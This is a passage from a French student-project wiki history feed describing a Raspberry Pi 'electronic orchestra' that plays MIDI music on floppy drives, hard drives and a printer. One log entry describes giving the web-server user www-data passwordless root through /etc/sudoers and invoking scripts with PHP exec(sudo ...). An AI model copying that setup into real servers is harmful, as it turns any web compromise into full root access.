&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test avec l'imprimante à aiguilles : écriture sur le port parallèle via /dev/parport0. Une alternative nous a été proposée de tester en écrivant via /dev/lp0. A tester&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 8 ===&lt;br /&gt;
'''23/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours aucun résultat avec l'imprimante. Après lecture de la datasheet plus en profondeur et avec quelques petites recherches, il s'avère que le connecteur DB-25 femelle disponible sur l'imprimante est en fait un port série ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Proposition ; Au lieu d'utiliser un clavier MIDi type Synthétiseur, utilisation d'un clavier d'ordinateur. Certaines touches seront alors des notes (comme un clavier de piano) et on pourra alors jouer de la musique avec. Dans l'attente d'une réponse, test sur des évènements clavier simples. &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration de l'amplificateur pour le disque dur. On augmente l'amplitude de la PWM afin d'avoir plus de bruit en sortie &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Réalisation d'un piano avec un clavier d'ordinateur grâce à la bibliothèque pygame. Grâce aux codes des touches, on arrive à associer les FDD et le clavier par simple récupération des évènements &amp;quot;la touche a a été appuyée&amp;quot;. Ceci grâce à une table d'association touche -&amp;gt; fréquence. (Vidéo à venir prochainement)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 9 ===&lt;br /&gt;
'''30/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Début de récupération de fichiers contenant plusieurs canaux MIDI '''triés''' (ajout d'un tri de tous les tableaux afin de différencier les canaux). Modification du programme afin qu'il différencie les channels et les notes associées. On peut compter le nombre de notes dans le channel&lt;br /&gt;
et ainsi jouer les notes du canal sur 1 instrument, et associer tous les instruments. A continuer&amp;lt;br /&amp;gt;&lt;br /&gt;
Il pourra se poser un problème pour les alimentations (manque d'alims ...) des lecteurs de disquettes et des autres instruments type disque durs, ainsi que sur le nombre de GPIO disponibles sur la RPi.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Continuation de l'ampli pour le disque dur (amplification de l'amplitude de la PWM). Début du PCB&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Liens ==&lt;br /&gt;
&lt;br /&gt;
[https://bytecode77.com/coding/electronics/floppydrivemusic floppy drive music]&amp;lt;br/&amp;gt;&lt;br /&gt;
[http://georgewhiteside.net/projects/diskette-organ/ Disk organ]&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
&lt;br /&gt;
Tous les codes sont présents dans notre GIT&amp;lt;br /&amp;gt;&lt;br /&gt;
https://archives.plil.fr/troj/IMA4_S8_P45&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=28661</id>
		<title>Orchestre électronique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=28661"/>
				<updated>2016-03-11T08:13:53Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Interaction avec l'encadrant */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interaction avec l'encadrant =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Déposez ici vos remarques et commentaires&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;Précisez, s'il vous plaît la date et l'auteur du message&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Hidéo VINOT le 11/03/2016 &amp;lt;/span&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Bonjour, je vous propose de faire la caractérisation en fréquence et en gain d'un des disques durs hauts parleurs que vous avez créé avec du matériel de mesure professionnel. Cela permettra de donner une courbe de haute précision et je pourrais me familiariser avec le matériel. J'ai besoin d'un des hauts parleurs et de son ampli avec des connectiques robustes. Si vous êtes d'accord contactez moi.&lt;br /&gt;
&lt;br /&gt;
=Cahier des charges=&lt;br /&gt;
&lt;br /&gt;
===Présentation générale du projet=== &lt;br /&gt;
&lt;br /&gt;
Le projet s'inscrit dans la démarche artistique de M. Lucas PRIEUX, artiste marionnettiste.&lt;br /&gt;
Son souhait est de montrer ce que les nouvelles technologies d'aujourd'hui nous apportent.&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dossier de création de la pièce HUMAINS est disponible ici [[http://collectif23h50.com/wp-content/uploads/2015/01/HUMAINS-Dossier-de-cre%CC%81ation-WEB1.pdf]]&lt;br /&gt;
&lt;br /&gt;
====Objectif du projet====&lt;br /&gt;
&lt;br /&gt;
L'objectif final du projet est de créer un dispositif comprenant une entrée MIDI (standard pour le son), et des sorties sur lesquelles on&lt;br /&gt;
brancherait des instruments électroniques du type scanner ou lecteur de disquettes.&lt;br /&gt;
&lt;br /&gt;
====Description du projet====&lt;br /&gt;
&lt;br /&gt;
Le projet se divise donc en différentes étapes :&amp;lt;br /&amp;gt;&lt;br /&gt;
- La première étape est de bien définir le cahier des charges avec l'artiste afin de connaître ses attentes sur ce projet&amp;lt;br /&amp;gt;&lt;br /&gt;
- la seconde étape va être de mettre en place un dispositif (Raspberry Pi) permettant de décoder la trame MIDI reçu sur l'entrée et d'afficher les notes jouées par les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
- la dernière étape s'appuiera sur les volontés de l'artiste et des encadrants.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
====Choix techniques : matériel et logiciel====&lt;br /&gt;
&lt;br /&gt;
Matériel nécessaire :&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Raspberry Pi&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Adaptateurs USB-MIDI avec 1 USB et 2 sorties MIDI_IN et MIDI_OUT disponible chez LDLC [[http://www.ldlc.com/fiche/PB00046193.html]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Instruments électroniques: du vieux matériel disponible ici en occasion pour pas cher:[[http://www.informatiqueoccasion.fr/]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Lecteurs de disquettes &amp;lt;/li&amp;gt; (vieux lecteurs disponibles au fabricarium)&lt;br /&gt;
&amp;lt;li&amp;gt; Disque dur &amp;lt;/li&amp;gt; (fabricarium peut-être)&lt;br /&gt;
&amp;lt;li&amp;gt; Imprimante matricielle &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Modem 56k&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Magnétoscope &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Lecteurs CD/ROM &amp;lt;/li&amp;gt; (fabricarium toujours)&lt;br /&gt;
&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Calendrier prévisionnel===&lt;br /&gt;
&lt;br /&gt;
==Avancement du Projet==&lt;br /&gt;
&lt;br /&gt;
===Préparation du projet : Mise en place du cahier des charges===&lt;br /&gt;
&lt;br /&gt;
'''2/11/15 :''' Réunion avec les différents acteurs du projet afin de bien fixer les attentes, les volontés de ces derniers.&amp;lt;br/&amp;gt;&lt;br /&gt;
C'est également lors de cette réunion que l'on fixera le cahier des charges et le matériel nécessaire&amp;lt;br /&amp;gt;&lt;br /&gt;
''Résumé de la réunion :''&amp;lt;br /&amp;gt;&lt;br /&gt;
L'objectif de cette réunion était de fixer les attentes et les volontés du porteur du projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans un premier temps, nous avons discutés avec M.PRIEUX du contexte dans lequel était inséré ce projet.&amp;lt;br /&amp;gt;&lt;br /&gt;
Ensuite, nous avons discutés des fonctionnalités du dispositif. Nous lui avons soumis 2 idées :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit jouer en direct sur les instruments électroniques ce qui est joué sur un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Soit pré-enregistrer une séquence d'instruments électroniques et de la re-jouer au moment voulu&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
M.PRIEUX a souhaité que ces 2 fonctionnalités soient intégrés au dispositif.&amp;lt;br /&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a également été question du coeur de notre dispositif. Nous nous sommes tous dit que si l'on utilisait un Arduino, il aurait été obligatoire d'ajouter en plus une Raspberry Pi pour y intégrer le logiciel. Nous avons donc conclus qu'utiliser une Raspberry Pi serait mieux pour éviter l'encombrement et pour disposer de plus de fonctionnalités.&amp;lt;br /&amp;gt;&lt;br /&gt;
Concernant la RP, une distribution Linux spécialisé pour le traitement du son a été évoqué.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
Il a aussi été demandé d'étudier la plage de fréquences des différents appareils afin de répartir les notes sur les instruments.&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Cahier des charges :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
Le dispositif est donc composé de :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une entrée MIDI afin de brancher un clavier&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une Raspberry Pi afin de déterminer les canaux MIDI et de réaliser l'interface Web&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une sortie MIDI pour venir y brancher un synthétiseur de son MIDI afin de synthétiser les sons impossibles à jouer avec les instruments électroniques (possibilité de mise en place d'une deuxième RP muni du logiciel Rosegarden [[http://www.rosegardenmusic.com/]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une carte électronique permettant de venir brancher les différents instruments électroniques&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Notre dispositif devra donc avoir 2 fonctionnalités :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une première fonctionnalité sera de jouer en direct les notes sortant d'un clavier MIDI &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Une deuxième fonctionnalité sera de pré-enregistrer une séquence d'instruments électroniques et de la rejouer au moment voulu &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
Un petit schéma résumé s'impose :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:Synopsis.jpg]]&lt;br /&gt;
&lt;br /&gt;
Sons disponibles avec tout notre matériel :&lt;br /&gt;
&lt;br /&gt;
Ici, un très joli bruit caractéristique d'un modem 56k (Ah, la nostalgie ...) : [[https://www.youtube.com/watch?v=hWNr9FBJhqQ]]&amp;lt;br /&amp;gt;&lt;br /&gt;
La, un très bon morceau joué sur lecteur de disquette : [[https://www.youtube.com/watch?v=lx_vWkv50uk]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Et maintenant, l'impression (on dirait les machines à tickets de caisses ...) avec une imprimante matricielle : [[http://www.dailymotion.com/video/x1coygz_eye-of-the-tiger-joue-par-une-imprimante_]]&amp;lt;br /&amp;gt;&lt;br /&gt;
Le tout mis en oeuvre : [[http://www.dailymotion.com/video/x2mb45n_jouer-du-nirvana-avc-des-disques-dur-hdd-and-floppy-music-smell-like-teen-spirit_music]]&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 1===&lt;br /&gt;
&lt;br /&gt;
'''25/01/16 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Réception du matériel (disques dur, lecteurs de disquette, lecteurs CD, scanner et imprimantes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Découverte du fonctionnement des lecteurs de disquettes (brochage, pins à utiliser pour piloter le moteur)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''27/01/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Découverte de la programmation des GPIO sur la RPi avec Python (bibliothèque RPi.GPIO)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Toujours avec Python, nous réussissons à faire vibrer le moteur du lecteur de disquette (en utilisant une PWM et en contrôlant les bonnes broches du floppy disk)&amp;lt;br /&amp;gt;&lt;br /&gt;
Dans une boucle conditionné par des exceptions (try/catch), nous faisons vibrer pendant un certain temps le moteur à des fréquences différentes, en utilisant alternativement les méthodes ChangeFrequency sur l'objet représentant la PWM (p.ChangeFrequency(220) par exemple), et en utilisant la bibliothèque time et la méthode sleep (time.sleep(&amp;lt;durée de la note&amp;gt;))&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Programme pouvant &amp;quot;approximativement&amp;quot; jouer la marche impériale (Star Wars). Petites photos :&amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier:floppy_disk.JPG | 250px | left]]&lt;br /&gt;
[[Fichier:RPi.JPG | 250px | right]]&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;clear: both;&amp;quot;&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 2 ===&lt;br /&gt;
&lt;br /&gt;
'''01/02/2016 : '''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Amélioration du programme permettant de jouer la marche impériale (utilisation de 2 tableaux : un contenant la fréquence des notes à jouer, et l'autre contenant la durée des notes) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''03/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début d'écriture d'un programme Python permettant de décoder un fichier MIDI --&amp;gt; Conclusion : Utilisation d'une bibliothèque au lieu de tout faire à la main&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur l'imprimante à aiguilles pour piloter le moteur --&amp;gt; SANS SUCCES (Communication série ?)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''04/06/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Écriture du programme communiquant avec l'imprimante a aiguilles en série avec la RPi (langage de description de page (PDL) Epson ESC/P2 pour envoyer les commandes en série à l'imprimante)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 3 ===&lt;br /&gt;
&lt;br /&gt;
'''10/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Fin d'écriture du programme traitant le fichier MIDI : en sortie, on obtient 3 tableaux : 1 contenant les notes, 1 contenant la hauteur des notes, et 1 contenant les ticks (date d'apparition de chaque événement). Ces tableaux nous serviront à gérer les GPIO pour les disques durs et les disquettes.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test sur le disque dur : vibration de la tête de lecture (juste grâce à une alim pour voir si la tête vibrait)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''11/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Transformation d'un disque dur en instrument électronique : vibration de la tête de lecture grâce à une PWM&amp;lt;br /&amp;gt; &lt;br /&gt;
[[Fichier : DD0742.mp4 | center | 250px]]&amp;lt;br /&amp;gt;&lt;br /&gt;
'''Inconvénient :''' Bruit très faible --&amp;gt; Besoin d'une caisse de résonance afin d'améliorer le son provenant de la tête de lecture (à étudier)&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Semaine 4 ===&lt;br /&gt;
&lt;br /&gt;
'''24/02/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Tentative de communication avec le port série sur l'imprimante à aiguilles --&amp;gt; Toujours sans succès ... &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Au lieu d'utiliser la bibliothèque interne de la RPi pour gérer la PWM et les GPIO, nous utiliserons la bibliothèque WiringPi. Elle offre plus de fonctionnalités que la bibliothèque de base &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Début du codage de l'interface WEB :&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Choix du serveur WEB : '''lighttpd''' : Pourquoi ? Tout simplement car il est beaucoup plus léger qu'un serveur Apache et qu'il est plus adapté pour les processeurs ARM dont dispose la RPi &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interfaçage entre les scripts Python et Web : '''CGI''' (Common Gateway Interface).&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Architecture du serveur WEB et explications : &amp;lt;br /&amp;gt;&lt;br /&gt;
[[Fichier : archi_serveur.jpg | 600px | center]]&lt;br /&gt;
Explications : Le serveur lighttpd prend sa racine dans le répertoire ''/var/www'' de la RPi. On dispose de 2 répertoires : ''html'' afin de stocker les pages WEB et ''cgi-bin'' afin de stocker les scripts destinés à être exécuté.&amp;lt;br /&amp;gt;&lt;br /&gt;
Lorsque la page WEB demande l'exécution d'un script, ce dernier passe dans l'interpréteur contenu dans le serveur CGI, et le résultat est retourné vers la page WEB.&amp;lt;br /&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
'''27/02/2016 (et oui, même le week-end, on bosse !) ''' : &amp;lt;br /&amp;gt;&lt;br /&gt;
Grâce au matériel que l'on a chez nous, nous arrivons quand même à travailler sur l'interface WEB.&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Problèmes rencontrés avec le codage d'un script pour découvrir wiringPi et CGI (utilisation d'une PWM pour faire tourner un servo-moteur):&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; Problème avec les autorisations de l'utilisateur ''www-data'' du serveur : les scripts python (notamment ceux avec wiringPi) doivent s'exécuter en ''root'' pour pouvoir manipuler les GPIO.&amp;lt;br /&amp;gt;&lt;br /&gt;
Solution : Modifier le fichier ''/etc/sudoers'' afin que les scripts exécutés sous l'utilisateur ''www-data'' (serveur) puissent d'exécuter sans demander de mot de passe lors du passage à l'utilisateur ''root''. Et l'exécution des scripts python se fera par du php par la commande ''exec(sudo &amp;lt;chemin/script_python&amp;gt;)''&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 5===&lt;br /&gt;
&lt;br /&gt;
'''29/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de la Raspberry Pi pour aller sur internet, installer et mettre à jour les paquets (modification du fichier ''apt.conf'')&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Installation des différents paquets pour nous permettre de créer le serveur web et de faire tourner le serveur CGI (Paquets installés : lighttpd, fastcgi, php5-cgi, python-dev et python-pip)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Utilisation de l'utilitaire PIP pour installer la bibliothèque WiringPi2 (utilisation d'un script shell afin de passer le proxy dans la commande)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration du serveur lighttpd (modules à utiliser, prise en compte du serveur cgi et de l'exécution de scripts python et php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''02/03/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement du serveur web lighttpd (test avec une page html, et une page php)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test du bon fonctionnement de la bibliothèque WiringPi2 et du serveur CGI avec un petit script qui fait clignoter une LED 5 fois (utilité --&amp;gt; Nécessaire pour piloter 1 instrument seul)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Dans la perspective de contrôler plusieurs instruments en même temps, mise en place de threads afin de faire clignoter 3 LEDS en parallèle (utilisation de la bibliothèque ''threading'' de python, redéfinition du constructeur du thread ''__init__'' et redéfinition de la méthode ''run'' (code que va exécuter le thread) --&amp;gt; Vidéo à venir&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Problème : WiringPi ne gère que des PWM soft et ne gère pas les successions d'écriture. C'est donc inadapté à notre problème. On revient donc à la solution de départ qui est d'utiliser la bibliothèque de base de la RPi pour gérer les GPIO.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test d'un fichier HTML appelant un script PHP qui exécute un script python permettant de jouer la marche impériale sur 1 FDD --&amp;gt; SUCCES (vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test pour gérer 2 FDD via les threads --&amp;gt; A poursuivre &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''03/03/2016 :''' &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Test pour gérer 2 FDD via threads --&amp;gt; Les 2 FDD jouent la même musique (Vidéo à venir)&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Configuration de git pour passer par le proxy (script shell) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Installation de la bibliothèque python-midi afin de gérer les fichiers MIDI&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Lorsque nous lançons le script ''mididump.py'' qui est en charge de &amp;quot;décortiquer&amp;quot; le fichier MIDI, la sortie est une (longue) liste de commandes qui sont de la forme suivante : &amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;math&amp;gt;midi.noteOnEvent(tick=&amp;lt;tick&amp;gt;, channel=&amp;lt;channel, data=[&amp;lt;numero de la note&amp;gt;,&amp;lt;velocite&amp;gt;]&amp;lt;/math&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
A l'aide de notre script écrit précédemment afin de sortir les tableaux correspondant au morceau (3 tableaux :notes, vélocité, ticks), nous pourrons ainsi passer en paramètre de nos threads ces 3 tableaux, et les PWM feront le reste.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Amélioration du premier site web avec du CSS&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Recherche sur l'interprétation des &amp;quot;ticks&amp;quot; MIDI --&amp;gt; Ce serait l'instant où la note est joué, cet instant étant considéré par rapport à l'évènement précédent. Une modification de notre programme qui gère les PWM est à effectuer pour pouvoir gérer ces ticks.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Semaine 6===&lt;br /&gt;
'''07/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Debut de l'association entre l'interface WEB, le programme python qui traite les fichiers MIDI, et les instruments&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Interprétation des ticks MIDI : Modification du programme en conséquence - Récupération des constantes de temps importantes telles que la résolution temporelle et la signature des clés (clé de DO, clé de SOL, utile pour la partition) &amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Création d'une association entre les numéros de notes et les fréquences de ces dernières : utilisation d'une table d'association clé-valeur &amp;lt;K,V&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&amp;lt;li&amp;gt; K : clé qui représente le numéro de la note&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;V : Fréquence associée à la note K&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;/ul&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''09/02/2016 :'''&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;ul&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt;Visite de M.PRIEUX dans les locaux de projet. Nous lui avons fait une démonstration de ce que nous avons fait depuis le début du projet (2 FDD qui jouent la même musique, le HDD transformé en HP, vibration de la tête d'un HDD avec une PWM)&amp;lt;br /&amp;gt;&lt;br /&gt;
Discussion sur les poursuites du projet, ainsi que sur les performances de nos instruments.&amp;lt;/li&amp;gt;&lt;br /&gt;
&amp;lt;li&amp;gt; Test sur les fichiers MIDI. Ca fonctionne, ca joue, mais les notes n'arrivent pas dans les temps voulu. C'est dû à une mauvaise interprétation des ticks MIDI. Le programme est donc à revoir&amp;lt;/li&amp;gt;&amp;lt;/ul&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Liens ==&lt;br /&gt;
&lt;br /&gt;
[https://bytecode77.com/coding/electronics/floppydrivemusic floppy drive music]&amp;lt;br/&amp;gt;&lt;br /&gt;
[http://georgewhiteside.net/projects/diskette-organ/ Disk organ]&lt;br /&gt;
&lt;br /&gt;
== Fichiers Rendus ==&lt;br /&gt;
&lt;br /&gt;
Tous les codes sont présents dans notre GIT&amp;lt;br /&amp;gt;&lt;br /&gt;
https://archives.plil.fr/troj/IMA4_S8_P45&lt;/div&gt;</summary>
		<author><name>Avinot</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=28660</id>
		<title>Orchestre électronique</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Orchestre_%C3%A9lectronique&amp;diff=28660"/>
				<updated>2016-03-11T08:13:40Z</updated>
		
		<summary type="html">&lt;p&gt;Avinot : /* Interaction avec l'encadrant */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
&amp;lt;br style=&amp;quot;clear: both;&amp;quot;/&amp;gt;&lt;br /&gt;
&lt;br /&gt;
= Interaction avec l'encadrant =&lt;br /&gt;
&lt;br /&gt;
&amp;lt;Déposez ici vos remarques et commentaires&amp;gt;&lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
&amp;lt;Précisez, s'il vous plaît la date et l'auteur du message&amp;gt;&amp;lt;br /&amp;gt;&lt;br /&gt;
&lt;br /&gt;
